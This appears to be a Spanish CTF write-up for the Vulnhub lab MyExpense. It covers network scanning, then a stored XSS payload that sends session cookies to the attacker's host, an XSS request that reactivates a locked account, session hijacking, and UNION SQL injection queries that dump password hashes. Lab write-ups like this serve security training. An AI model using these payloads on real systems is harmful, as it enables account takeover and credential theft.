MyExpense | CTF Writeup - Vulnhub
MyExpense
Para esta máquina, contamos con unas credenciales de un empleado que se llama Samuel. Su usuario (
slamotte
) se encuentra bloqueado en la web, por tanto, deberemos intentar iniciar sesión como Samuel y aprobar un pago que la compañía no realizó. Primeramente, para la etapa de enumeración, escaneamos nuestra red local. La IP de la máquina víctima es la 192.168.216.146.
1
2
3
4
5
6
7
8
9
10
11
12
13
> arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:85:8e:61, IPv4: 192.168.216.133
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.216.1 00:50:56:c0:00:08 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 VMware, Inc.
192.168.216.146 00:0c:29:6b:78:11 VMware, Inc.
192.168.216.254 00:50:56:e7:c0:0d VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.916 seconds (133.61 hosts/sec). 4 responded
> export IP=192.168.216.146
Procedemos a escanear puertos y versiones con
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> nmap -sS -p- --open -Pn -n -vv -oN scan.txt $IP
Nmap scan report for 192.168.216.146
Host is up, received arp-response (0.00069s latency).
Scanned at 2024-01-05 16:03:43 -03 for 1s
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
39899/tcp open unknown syn-ack ttl 64
40211/tcp open unknown syn-ack ttl 64
44469/tcp open unknown syn-ack ttl 64
53053/tcp open unknown syn-ack ttl 64
MAC Address: 00:0C:29:6B:78:11 (VMware)
Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Jan 5 16:03:44 2024 -- 1 IP address (1 host up) scanned in 1.18 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
> nmap -sCV -p80,39899,40211,44469,53053 -oN services_scan $IP
Nmap scan report for 192.168.216.146
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin/admin.php
|_http-title: Futura Business Informatique GROUPE - Conseil en ing\xC3\xA9nierie
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
39899/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
40211/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
44469/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
53053/tcp open http Mongoose httpd
|_http-title: Site doesn't have a title (text/plain).
MAC Address: 00:0C:29:6B:78:11 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 5 16:04:55 2024 -- 1 IP address (1 host up) scanned in 6.73 seconds
Vemos que nos reporta un directorio interesante en el puerto 80. Podemos aplicar un script básico de reconocimiento como el http-enum en
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
> nmap --script http-enum -p80,39899,40211,44469,53053 $IP
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-05 16:05 -03
Nmap scan report for 192.168.216.146
Host is up (0.00032s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /admin/admin.php: Possible admin folder
| /login.php: Possible admin folder
|_ /robots.txt: Robots file
39899/tcp open unknown
40211/tcp open unknown
44469/tcp open unknown
53053/tcp open unknown
MAC Address: 00:0C:29:6B:78:11 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds
Si entramos a la web, nos podemos encontrar con algo interesante.
Si nos vamos a la sección de login, veremos que no nos dejará iniciar sesión como el usuario
slamotte
dado que la compañía le bloqueó el acceso. Sin embargo, podemos crear una cuenta. En este punto, podemos intentar inyectar código JavaScript malicioso que nos envíe una petición a nuestra máquina de atacantes para verificar si se acontece una XSS.
Levantamos un servidor HTTP con python en la línea de comandos.
Como se está cargando el recurso, intentamos realizar un Cookie Hijacking mediante el empleo de peticiones HTTP cargadas desde nuestro recurso.
1
2
3
var req = new XMLHttpRequest();
req.open("GET", "http://192.168.216.133/?cookie=" + document.cookie);
req.send();
Levantamos nuevamente el servidor HTTP y vemos las siguientes peticiones:
En este punto, si intentamos secuestrar la sesión del usuario que esté administrando la página, no podremos dado que nos saltará un error. Lo que sí podemos intentar es modificar el archivo pwned.js para que active la cuenta de Samuel. Para ello, simplemente hacemos hovering en los estados de las cuentas en el panel de
http://192.168.216.146/admin/admin.php
, y nos fijamos en la cuenta de Samuel.
1
2
3
var req = new XMLHttpRequest();
req.open("GET", "http://192.168.216.146/admin/admin.php?id=11&status=active");
req.send();
Ahora esperamos e intentamos iniciar sesión como
slamotte
. Procedemos y vemos que podemos entrar.
Enviamos nuestro reporte a nuestro manager.
Si nos vamos a nuestra cuenta, veremos que nuestro manager es Manon Riviere, y es curiosamente una de las personas que se encuentra interactuando en el chat de la página Home.
Si intentamos colar nuevamente nuestro script:
Vemos que nos llegan distintas cookies de sesión. Probamos todas y llegamos a secuestrar la sesión de Manon Riviere.
Aprobamos el reporte de Samuel:
Sin embargo, vemos que todavía tenemos un cargo ejecutivo arriba nuestro. Deberemos de ganar acceso a la cuenta de Paul Baudouin, que es nuestro manager.
Si nos vamos a la sección de Rennes, vemos lo siguiente:
La URL tiene un parámetro que llama la atención a simple vista. Podemos intentar comentar el resto de la query si se tratase de una SQL Injection.
Vemos que efectivamente se acontece una SQL Injection. Intentamos enumerar la cantidad de columnas siendo utilizadas para posteriormente realizar un
UNION SELECT
attack. Probamos con ` UNION SELECT NULL,NULL–`.
Intentamos ver la base de datos siendo utilizada:
Enumeramos todas las bases de datos con
UNION SELECT schema_name,null FROM information_schema.schemata-- -
:
De similar manera, enumeramos las tablas con la query
UNION SELECT table_name,null FROM information_schema.tables WHERE table_schema="myexpense"-- -
:
Seleccionamos la tabla user y enumeramos columnas con la query
UNION SELECT column_name,null FROM information_schema.columns WHERE table_schema="myexpense" AND table_name="user"-- -
:
Solo nos falta enumerar usuarios y contraseñas. Vemos que las contraseñas están todas hasheadas. Particularmente, nos interesa la del usuario Paulo Baudouin (
pbaudouin
).
Procedemos a crackearla con la web Hashes.
¡Listo! Iniciamos sesión como el usuario
pbaudouin
.
Aprobamos el pago:
Volvemos a iniciar sesión como Samuel y voilà, ahí está la flag.